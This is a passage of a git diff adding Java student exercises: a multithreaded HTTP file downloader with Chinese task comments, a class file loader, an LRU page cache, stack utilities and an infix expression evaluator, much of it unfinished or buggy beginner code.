+		// TODO Auto-generated method stub
+		return 0;
+	}
+
+	@Override
+	public ListIterator listIterator() {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public ListIterator listIterator(int index) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public List subList(int fromIndex, int toIndex) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public boolean add(Object e) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+}
diff --git a/group23/632678665/com/basic/week3/download/Demo.java b/group23/632678665/com/basic/week3/download/Demo.java
new file mode 100644
index 0000000000..f4dc344cb5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/Demo.java
@@ -0,0 +1,36 @@
+package com.basic.week3.download;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.io.RandomAccessFile;
+import java.net.URL;
+
+public class Demo {
+
+	public static void main(String[] args) throws Exception {
+//		File f=new File("E://123.txt");
+//		InputStream ii=new FileInputStream(f);
+//		byte [] b=new byte [2];
+//		int j;
+//		while(true){
+//			if(ii.read(b)==0){
+//				System.out.println("1111");
+//			}
+//			if(ii.read(b)==-1){
+//				System.out.println("3333");
+//			}
+//		}
+		URL url=new URL("Http://localhsot:8080/123.txt");
+		String [] s=url.toString().split("/");
+		for(String str:s){
+			
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week3/download/DownloadThread.java b/group23/632678665/com/basic/week3/download/DownloadThread.java
new file mode 100644
index 0000000000..89b7fdc3f5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/DownloadThread.java
@@ -0,0 +1,31 @@
+package com.basic.week3.download;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.basic.week3.download.api.Connection;
+
+public class DownloadThread extends Thread{
+	public static int count=0;
+	Connection conn;
+	int startPos;
+	int endPos;
+	
+	public DownloadThread(Connection conn, int startPos, int endPos){
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){
+		try {
+			count++;
+			conn.read(startPos, endPos);
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}finally{
+			count--;
+		}
+	}
+}
diff --git a/group23/632678665/com/basic/week3/download/FileDownloader.java b/group23/632678665/com/basic/week3/download/FileDownloader.java
new file mode 100644
index 0000000000..d32975f4b5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/FileDownloader.java
@@ -0,0 +1,97 @@
+package com.basic.week3.download;
+
+import com.basic.week3.download.api.Connection;
+import com.basic.week3.download.api.ConnectionException;
+import com.basic.week3.download.api.ConnectionManager;
+import com.basic.week3.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+	Connection conn;
+	
+	DownloadThread dt;
+	
+	private static final int THREAD_NUM=4;
+	public FileDownloader(String _url) {
+		this.url = _url;
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		/*Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}*/
+		try {
+			//打开url
+			conn=cm.open(url);
+			//判断资源长度
+			int length=conn.getContentLength();
+			//每个线程所占的资源
+			int off=(int)(length/3);
+			int start=0;
+			for(int i=0;i<THREAD_NUM-1;i++){
+				if(i==2){
+					new DownloadThread(conn,start+off,length-2*off).start();
+					break;
+				}
+				new DownloadThread(conn,start,off).start();
+				start+=off;
+			}
+			while(true){
+				if(DownloadThread.count==0){
+					break;
+				}
+			}
+		} catch (ConnectionException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		} 
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/632678665/com/basic/week3/download/FileDownloaderTest.java b/group23/632678665/com/basic/week3/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..e7509a5256
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.basic.week3.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.basic.week3.download.api.ConnectionManager;
+import com.basic.week3.download.api.DownloadListener;
+import com.basic.week3.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/632678665/com/basic/week3/download/api/Connection.java b/group23/632678665/com/basic/week3/download/api/Connection.java
new file mode 100644
index 0000000000..6d82e31950
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/Connection.java
@@ -0,0 +1,24 @@
+package com.basic.week3.download.api;
+
+import java.io.IOException;
+import java.net.URLConnection;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/632678665/com/basic/week3/download/api/ConnectionException.java b/group23/632678665/com/basic/week3/download/api/ConnectionException.java
new file mode 100644
index 0000000000..bbb7648386
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/ConnectionException.java
@@ -0,0 +1,12 @@
+package com.basic.week3.download.api;
+
+import java.io.IOException;
+
+public class ConnectionException extends IOException {
+	public ConnectionException(){
+		super();
+	}
+	public ConnectionException(String message){
+		super(message);
+	}
+}
diff --git a/group23/632678665/com/basic/week3/download/api/ConnectionManager.java b/group23/632678665/com/basic/week3/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..0c9ab2a58b
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.basic.week3.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/632678665/com/basic/week3/download/api/DownloadListener.java b/group23/632678665/com/basic/week3/download/api/DownloadListener.java
new file mode 100644
index 0000000000..4855b39ec5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.basic.week3.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java b/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..99c2ac6996
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
@@ -0,0 +1,59 @@
+package com.basic.week3.download.impl;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.net.URLConnection;
+
+import com.basic.week3.download.api.Connection;
+import com.basic.week3.download.api.ConnectionException;
+import com.basic.week3.download.api.ConnectionManager;
+
+public class ConnectionImpl implements Connection{
+	private static final String PATH="E://";
+	private URLConnection urlConnection;
+	private InputStream input;
+	private String fileName;
+	ConnectionImpl(URLConnection urlConnection,String fileName){
+		this.urlConnection=urlConnection;
+		this.fileName=fileName;
+	}
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		byte [] buffer=new byte [1024];
+		input=urlConnection.getInputStream();
+		RandomAccessFile raFile=new RandomAccessFile(creatLocalFile().toString(),"rw");
+		//读取次数
+		int times=(int)((endPos-startPos-1)/1024);
+		input.skip(startPos);
+		raFile.seek(startPos);
+		for(int i=times;i<=times;i++){
+			int flag=input.read(buffer);
+			raFile.write(buffer,0,buffer.length);
+			if(flag<0){
+				break;
+			}
+		}
+		return buffer;
+	}
+
+	@Override
+	public int getContentLength() {
+		return urlConnection.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		try {
+			input.close();
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	private File creatLocalFile(){
+		File file=new File(PATH+fileName);
+		return file;
+	}
+}
diff --git a/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java b/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..5ea3bea318
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,35 @@
+package com.basic.week3.download.impl;
+
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+
+import com.basic.week3.download.api.Connection;
+import com.basic.week3.download.api.ConnectionException;
+import com.basic.week3.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+	
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		URL urlPath=null;
+		Connection conn=null;
+		try {
+			urlPath = new URL(url);
+			URLConnection urlConnection=urlPath.openConnection();
+			//解析文件
+			String [] s =urlPath.toString().split("/");
+			String fileName=s[s.length-1];
+			conn=new ConnectionImpl(urlConnection,fileName);
+		} catch (MalformedURLException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		return conn;
+	}
+
+}
diff --git a/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java b/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..7528e27324
--- /dev/null
+++ b/group23/632678665/com/basic/week4/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,74 @@
+package com.coding2017.week4.jvm.loader;
+
+import com.google.common.base.Joiner;
+import com.google.common.base.Splitter;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileLoader {
+    private static Joiner SEMICOLON_JOINER = Joiner.on(";").skipNulls();
+    private static Splitter DOT_SPLITTER = Splitter.on(".").trimResults();
+    private static Joiner SLASH_JOINER = Joiner.on("/").skipNulls();
+
+    private static String CLASS_SUFFIX = ".class";
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+        List<String> list = DOT_SPLITTER.splitToList(className);
+        String childDirectory = SLASH_JOINER.join(list);
+        for (String clzPath : clzPaths) {
+            String fullPath = makeFullPath(clzPath, childDirectory);
+            if (fileExist(fullPath)) {
+                return readFileBytes(fullPath);
+            }
+        }
+        System.out.println("no this class file: " + className);
+        return null;
+    }
+
+    private byte[] readFileBytes(String filePath) {
+        try {
+            File file = new File(filePath);
+            long length = file.length();
+            byte[] fileBytes = new byte[(int) length];
+            int readLength = new FileInputStream(filePath).read(fileBytes);
+            if (readLength != length) {
+                System.out.println("read file error. read length: " + readLength + ", full length : " + length);
+                return null;
+            }
+            return fileBytes;
+        } catch (IOException e) {
+            System.out.println("read file error. " + filePath);
+            return null;
+        }
+    }
+
+    private boolean fileExist(String fullPath) {
+        File classFile = new File(fullPath);
+        return classFile.exists() && classFile.isFile();
+    }
+
+    private String makeFullPath(String clzPath, String childDirectory) {
+        if (clzPath.endsWith("/") || clzPath.endsWith("\\")) {
+            return clzPath + childDirectory + CLASS_SUFFIX;
+        } else {
+            return clzPath + "/" + childDirectory + CLASS_SUFFIX;
+        }
+    }
+
+    public void addClassPath(String path) {
+        if (!clzPaths.contains(path)) {
+            clzPaths.add(path);
+        }
+    }
+
+    public String getClassPath() {
+        return SEMICOLON_JOINER.join(clzPaths);
+    }
+
+}
diff --git a/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java b/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..7d0419dc77
--- /dev/null
+++ b/group23/632678665/com/basic/week4/jvm/test/EmployeeV1.java
@@ -0,0 +1,30 @@
+package com.coding2017.week4.jvm.test;
+
+public class EmployeeV1 {
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group23/632678665/com/basic/week4/lru/LRUPageFrame.java b/group23/632678665/com/basic/week4/lru/LRUPageFrame.java
new file mode 100644
index 0000000000..55039dda56
--- /dev/null
+++ b/group23/632678665/com/basic/week4/lru/LRUPageFrame.java
@@ -0,0 +1,131 @@
+package com.coding2017.week4.lru;
+
+/**
+ * 用双向链表实现LRU算法
+ * 
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+    private static class Node {
+        Node prev;
+        Node next;
+        int pageNum;
+
+        Node() {
+        }
+    }
+
+    private int capacity;
+
+    private Node first;// 链表头
+    private Node last;// 链表尾
+    private int size; // 当前个数
+
+    public LRUPageFrame(int capacity) {
+        this.capacity = capacity;
+        size = 0;
+    }
+
+    /**
+     * 获取缓存中对象
+     * 
+     * @param pageNum
+     * @return
+     */
+    public void access(int pageNum) {
+        Node node = query(pageNum);
+        if (node == null) {
+            Node newNode = new Node();
+            newNode.pageNum = pageNum;
+            accessNotExist(newNode);
+        } else {
+            accessExist(node);
+        }
+    }
+
+    private void accessExist(Node node) {
+        removeNode(node);
+        addFirst(node);
+    }
+
+    /**
+     * 此处没有要求传入的node的prev和next, 所以需要自己处理
+     * 
+     * @param node
+     */
+    private void addFirst(Node node) {
+        node.prev = null;
+        node.next = null;
+        if (first == null) {
+            first = node;
+            last = node;
+        } else {
+            first.prev = node;
+            node.next = first;
+            first = node;
+        }
+        size++;
+    }
+
+    /**
+     * 需要考虑删除的节点是头结点, 或尾节点的情况
+     */
+    private void removeNode(Node node) {
+        if (node.prev == null) {
+            first = node.next;
+        }
+        if (node.next == null) {
+            last = node.prev;
+        }
+        if (node.prev != null) {
+            node.prev.next = node.next;
+        }
+        if (node.next != null) {
+            node.next.prev = node.prev;
+        }
+        size--;
+    }
+
+    /**
+     * 如果已经满了, 则挤出去一个, 然后追加
+     * 
+     * @param node
+     */
+    private void accessNotExist(Node node) {
+        if (size == capacity) {
+            removeLast();
+        }
+        addFirst(node);
+    }
+
+    private void removeLast() {
+        last.prev.next = null;
+        last = last.prev;
+        size--;
+    }
+
+    private Node query(int pageNum) {
+        for (Node node = first; node != null; node = node.next) {
+            if (pageNum == node.pageNum) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        Node node = first;
+        while (node != null) {
+            buffer.append(node.pageNum);
+
+            node = node.next;
+            if (node != null) {
+                buffer.append(",");
+            }
+        }
+        return buffer.toString();
+    }
+
+}
diff --git a/group23/632678665/com/basic/week5/stack/StackUtil.java b/group23/632678665/com/basic/week5/stack/StackUtil.java
new file mode 100644
index 0000000000..7b750b3549
--- /dev/null
+++ b/group23/632678665/com/basic/week5/stack/StackUtil.java
@@ -0,0 +1,103 @@
+package com.coding.week5.stack;
+
+import com.coding.weak1.Stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		Stack stack = new Stack();
+		Stack stack1 = new Stack();
+		while (!s.isEmpty()) {
+			stack.push(s.pop());
+		}
+		while (!stack.isEmpty()) {
+			stack1.push(stack.pop());
+		}
+		while (!stack1.isEmpty()) {
+			s.push(stack1.pop());
+		}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		Stack stack = new Stack();
+		while (!s.isEmpty()){
+			Object o1 = s.pop();
+			if (!o.equals(o1)) {
+				stack.push(o1);
+			}
+		}
+		while (!stack.isEmpty()) {
+			s.push(stack.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if (len > s.size() || len <= 0) {
+			throw new IllegalArgumentException(len+"");
+		}
+
+		Object[] objects = new Object[len];
+		for (int i = 0; i < len; i++) {
+			objects[i] = s.pop();
+		}
+		for (int i = len - 1; i >= 0 ; i--) {
+			s.push(objects[i]);
+		}
+		return objects;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		Stack stack = new Stack();
+		char[] chars = s.toCharArray();
+		for (char c : chars) {
+			if (c == '(' || c == '{' || c == '[') {
+				stack.push(c);
+			} else if (c == ')' || c == '}' || c == ']'){
+				if (stack.isEmpty()) {
+					return false;
+				}
+				if (!isPair((char)stack.pop(), c)){
+					return false;
+				}
+			}
+		}
+		return stack.isEmpty();
+	}
+
+	private static boolean isPair(char left, char right) {
+		switch (left) {
+			case '{':
+				return right == '}';
+			case '[':
+				return right == ']';
+			case '(':
+				return right == ')';
+			default:
+				return false;
+		}
+	}
+	
+}
diff --git a/group23/632678665/com/basic/week6/expr/InfixExpr.java b/group23/632678665/com/basic/week6/expr/InfixExpr.java
new file mode 100644
index 0000000000..34c1b15123
--- /dev/null
+++ b/group23/632678665/com/basic/week6/expr/InfixExpr.java
@@ -0,0 +1,127 @@
+package com.coding.week6.expr;
+
+import com.coding.weak1.Stack;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+public class InfixExpr {
+	String expr = null;
+	private Stack numberStack;
+	private Stack operatorStack;
+	private List<Token> tokens;
+	public InfixExpr(String expr) {
+		this.expr = expr;
+		this.numberStack = new Stack();
+		this.operatorStack = new Stack();
+		tokens = new ArrayList<>();
+	}
+
+
+	public float evaluate() {
+		fillStack();
+		while (!operatorStack.isEmpty()) {
+			char symbol = (char) operatorStack.pop();
+			float operTop1 = (float) numberStack.pop();
+			float operTop2 = (float) numberStack.pop();
+			numberStack.push(caculate(symbol, operTop2, operTop1));
+		}
+		return (float)numberStack.pop();
+	}
+
+	public void parseTokens() {
+		char[] chars = expr.toCharArray();
+		for (int i = 0; i < chars.length; i++) {
+			char c = chars[i];
+			if (Token.isOperator(c)) {
+				Token token = new Token(c+"");
+				tokens.add(token);
+			} else {
+				String t = "";
+				while (Token.isDigit(c)){
+					t += c;
+					i++;
+					if (i == chars.length)
+						break;
+					c = chars[i];
+				}
+				Token token = new Token(t);
+				tokens.add(token);
+				i--;
+			}
+		}
+	}
+
+
+	public void fillStack() {
+		parseTokens();
+		Iterator<Token> iterator = tokens.iterator();
+		while (iterator.hasNext()) {
+			Token token = iterator.next();
+			if (token.isNumber()) {
+				numberStack.push((float)token.parseInt());
+				continue;
+			}
+			if (token.isOperator()) {
+				char operator = token.parseOperator();
+				if (operatorStack.isEmpty()) {
+					operatorStack.push(operator);
+				}else {
+					char topSymbol = (char)operatorStack.peek();
+					if (compare(operator, topSymbol) > 0) {
+						operatorStack.push(operator);
+					} else {
+						float operTop1 = (float) numberStack.pop();
+						float operTop2 = (float) numberStack.pop();
+						numberStack.push(caculate(topSymbol, operTop2, operTop1));
+						operatorStack.pop();
+						operatorStack.push(operator);
+					}
+				}
+			}
+
+		}
+	}
+
+
+	private float caculate(char symbol, float oper1, float oper2) {
+		if ('*' == symbol)
+			return oper1 * oper2;
+		else if ('/' == symbol)
+			return oper1 / oper2;
+		else if ('+' == symbol)
+			return oper1 + oper2;
+		else if ('-' == symbol)
+			return oper1 - oper2;
+		else
+			throw new RuntimeException("this operation has not implement");
+	}
+
+	public int compare(char opertor1, char opertor2) {
+		if (!Token.isOperator(opertor1) )
+			throw new IllegalArgumentException(opertor1 + "is not supported opertor");
+		if (!Token.isOperator(opertor2))
+			throw new IllegalArgumentException(opertor2 + "is not supported opertor");
+		if (Token.isAddOrSub(opertor1)) {
+			if (Token.isAddOrSub(opertor2))
+				return 0;
+			else
+				return -1;
+		}
+		else {
+			if (Token.isAddOrSub(opertor2))
+				return 1;
+			else
+				return 0;
+		}
+	}
+
+	public String printNumberStack() {
+		return numberStack.toString();
+	}
+
+	public String printOperatorStack() {
+		return operatorStack.toString();
+	}
+}
diff --git a/group23/632678665/com/basic/week6/expr/Token.java b/group23/632678665/com/basic/week6/expr/Token.java
new file mode 100644
index 0000000000..b58aa36968
--- /dev/null
+++ b/group23/632678665/com/basic/week6/expr/Token.java
@@ -0,0 +1,52 @@
+package com.coding.week6.expr;
+
+/**
+ * Created by Administrator on 2017/4/16 0016.
+ */
+public class Token {
+
+    private String symbol;
+
+    public Token(String symbol) {
+        this.symbol = symbol;
+    }
+
+    public boolean isNumber() {
+        return symbol.matches("^\\d+$");
+    }
+
+
+    public boolean isOperator() {
+        return symbol.matches("^[\\+|\\*|\\-|\\/]$");
+    }
+
+    public int parseInt() {
+        return Integer.valueOf(symbol);
+    }
+
+    public char parseOperator() {
+        return symbol.charAt(0);
+    }
+
+
+    public static boolean isOperator(char c) {
+        return isAddOrSub(c) || isMulityOrDivide(c);
+    }
+
+    public static boolean isAddOrSub(char c) {
+        return c == '+' || c == '-';
+    }
+
+    public static boolean isMulityOrDivide(char c) {
+        return c == '/' || c == '*';
+    }
+
+    public static boolean isDigit(char c) {
+        return  c >= '0' && c <= '9';
+    }
+
+    @Override
+    public String toString(){
+        return symbol;
+    }
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/InfixExpr.java b/group23/632678665/com/basic/week6/exprNew/InfixExpr.java
new file mode 100644
index 0000000000..3962b49fce
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/InfixExpr.java
@@ -0,0 +1,57 @@
+package com.coding.week6.exprNew;
+
+import com.coding.weak1.Stack;
+
+import java.util.List;
+
+public class InfixExpr {
+	String expr = null;
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+
+	public float evaluate() {
+
+		Stack operatorStack = new Stack();
+		Stack numberStack = new Stack();
+		fillStack(numberStack, operatorStack);
+		while (!operatorStack.isEmpty()) {
+			Operator symbol = (Operator) operatorStack.pop();
+			float operTop1 = (float) numberStack.pop();
+			float operTop2 = (float) numberStack.pop();
+			numberStack.push(symbol.apply(operTop2, operTop1));
+		}
+		return (float)numberStack.pop();
+	}
+
+	public void fillStack(Stack numberStack, Stack operatorStack) {
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				numberStack.push(token.getFloatValue());
+			}
+			else if (token.isOperator()) {
+				Operator o = token.getOperator();
+				if (operatorStack.isEmpty()) {
+					operatorStack.push(o);
+				}else {
+					Operator top = (Operator)operatorStack.peek();
+					if (o.hasHigherPriority(top)) {
+						operatorStack.push(o);
+					} else {
+						float operTop1 = (float) numberStack.pop();
+						float operTop2 = (float) numberStack.pop();
+						numberStack.push(top.apply(operTop2, operTop1));
+						operatorStack.pop();
+						operatorStack.push(o);
+					}
+				}
+			}
+
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/Operator.java b/group23/632678665/com/basic/week6/exprNew/Operator.java
new file mode 100644
index 0000000000..f6b4681e46
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/Operator.java
@@ -0,0 +1,75 @@
+package com.coding.week6.exprNew;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public enum Operator {
+    ADD("+", 1) {
+        public float apply(float x, float y){
+            return x + y;
+        }
+    },
+
+    SUB("-", 1) {
+        @Override
+        public float apply(float x, float y) {
+            return x - y;
+        }
+    },
+
+    MULT("*", 2) {
+        @Override
+        public float apply(float x, float y) {
+            return x * y;
+        }
+    },
+
+    DIVI("/", 2) {
+        @Override
+        public float apply(float x, float y) {
+            return x / y;
+        }
+    };
+    private String symbol;
+    private int    priority;
+
+    Operator(String symbol, int priority) {
+        this.symbol = symbol;
+        this.priority = priority;
+    }
+
+    public boolean hasHigherPriority(Operator o) {
+        return this.priority > o.priority;
+    }
+
+    public String symbol() {
+        return symbol;
+    }
+
+    public static List<String> symbols() {
+        List<String> symbos = new ArrayList<>();
+        for (Operator o : Operator.values()) {
+            symbos.add(o.symbol);
+        }
+        return symbos;
+    }
+
+    public abstract float apply(float x, float y);
+
+    private static final Map<String, Operator> map = new HashMap<String, Operator>();
+
+    static {
+        for (Operator o : Operator.values()) {
+            map.put(o.symbol, o);
+        }
+    }
+
+    public static Map<String, Operator> getOperatorMap() {
+        return map;
+    }
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/Token.java b/group23/632678665/com/basic/week6/exprNew/Token.java
new file mode 100644
index 0000000000..c925a22705
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/Token.java
@@ -0,0 +1,63 @@
+package com.coding.week6.exprNew;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public class Token {
+
+    private int    type;
+    private String value;
+
+    static final int NUMBER   = 1;
+    static final int OPERATOR = 2;
+    static final int LEFT_BRACKET  = 3;
+    static final int RIGHT_BRACKET  = 4;
+    public Token(int type, String value) {
+        this.type = type;
+        this.value = value;
+    }
+
+
+    public boolean isNumber(){
+        return type == NUMBER;
+    }
+
+    public boolean isOperator(){
+        return type == OPERATOR;
+    }
+
+    public boolean isLeftBracket() {
+        return type == LEFT_BRACKET;
+    }
+
+    public boolean isRightBracket() {
+        return type == RIGHT_BRACKET;
+    }
+
+    public float getFloatValue() {
+        if (isNumber())
+            return Integer.valueOf(value);
+        else
+            throw new RuntimeException("not a number");
+    }
+
+    public String toString() {
+        return value;
+    }
+
+
+    public Operator getOperator() {
+        if (isOperator()) {
+            return Operator.getOperatorMap().get(value);
+        } else {
+            throw new RuntimeException("not a operator");
+        }
+    }
+
+
+    public String getValue() {
+        return value;
+    }
+
+
+}
diff --git a/group23/632678665/com/basic/week6/exprNew/TokenParser.java b/group23/632678665/com/basic/week6/exprNew/TokenParser.java
new file mode 100644
index 0000000000..52757dc0c7
--- /dev/null
+++ b/group23/632678665/com/basic/week6/exprNew/TokenParser.java
@@ -0,0 +1,60 @@
+package com.coding.week6.exprNew;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public class TokenParser {
+
+    private static List<String> operators = Operator.symbols();
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<>();
+        int i = 0;
+        while (i < expr.length()) {
+            char c = expr.charAt(i);
+            Token token;
+            if (Character.isDigit(c)) {
+                int nextOperIndex = getNextOperIndex(i, expr);
+                String n = expr.substring(i, nextOperIndex);
+                token = new Token(Token.NUMBER, n);
+                tokens.add(token);
+                i = nextOperIndex;
+            } else if (isOperator(c)) {
+                token = new Token(Token.OPERATOR, c+"");
+                tokens.add(token);
+                i++;
